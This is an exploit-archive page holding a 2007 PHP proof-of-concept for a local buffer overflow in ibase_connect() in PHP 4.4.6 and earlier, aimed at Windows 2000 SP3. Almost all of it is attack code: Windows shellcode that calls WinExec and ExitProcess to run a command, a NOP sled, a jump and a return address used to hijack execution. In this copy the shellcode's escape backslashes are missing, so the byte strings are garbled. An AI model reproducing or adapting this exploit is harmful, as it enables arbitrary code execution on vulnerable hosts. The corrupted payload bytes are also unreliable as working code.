[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PHP <= 4.4.6 ibase_connect() Local Buffer Overflow Exploit
# Published : 2007-03-15
# Author : rgod
# Previous Title : PHP <= 4.4.6 / 5.2.1 array_user_key_compare() ZVAL dtor Local Exploit
# Next Title : PHP 5.2.0 header() Space Trimming Buffer Underflow Exploit (MacOSX)
<?php
// PHP <= 4.4.6 ibase_connect() & ibase_pconnect() local buffer overflow
// poc exploit
// windows 2000 sp3 en / seh overwrite
// by rgod
// site: http://retrogod.altervista.org
if (!extension_loaded("interbase")){
die("only works with interbase extension ");
}
$____scode=
"xebx1b".
"x5b".
"x31xc0".
"x50".
"x31xc0".
"x88x43x59".
"x53".
"xbbxcax73xe9x77". //WinExec
"xffxd3".
"x31xc0".
"x50".
"xbbx5cxcfxe9x77". //ExitProcess
"xffxd3".
"xe8xe0xffxffxff".
"x63x6dx64".
"x2e".
"x65".
"x78x65".
"x20x2f".
"x63x20".
"start notepad & ";
$jmp="xebxa1xffxeb"; // jmp short
$eip="x86xa0xf8x77"; // call ebx, ntdll.dll
$____suntzu=str_repeat("A",2676 - strlen($____scode));
$____suntzu.=str_repeat("x90",190).$____scode.str_repeat("x90",10).$jmp.$eip;
ibase_connect($____suntzu);
?>
# www.Syue.com [2007-03-15]